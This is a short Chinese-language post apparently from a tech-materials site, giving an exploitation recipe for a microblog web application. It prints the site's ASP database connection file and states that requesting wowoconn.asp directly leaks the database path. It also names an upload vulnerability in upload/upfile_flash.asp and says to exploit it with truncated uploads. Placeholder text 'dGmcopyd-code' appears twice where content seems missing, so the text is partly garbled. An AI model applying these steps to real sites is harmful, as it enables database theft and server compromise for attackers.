唠叨微博网直接爆库 -电脑资料

    wowoconn.asp

    <%

    if Session("_WTypeID") = "" then ’当前站点的类型

    Session("_WTypeID") = 1

    Session.Timeout = 900

    end if

    ’On error resume next

    Set conn = Server.CreateObject("adodb.connection")

    Conn.Open"provider=microsoft.jet.oledb.4.0;data source="&Server.Mappath("WoDb/2006wodig2.asp")

    If Err.number <> 0 then

    Response.Write(web_Name & "正在维护，请稍候访问，谢谢！....")

    response.write err.description

    Response.End()

    End if

    %>

    爆库，利用方法

    http://127.0.0.1/wolib/wowoconn.asp

    注册后有个上传漏洞，在upload/upfile_flash.asp这个文件里dGmcopyd-code

    dGmcopyd-code

    截断上传就是了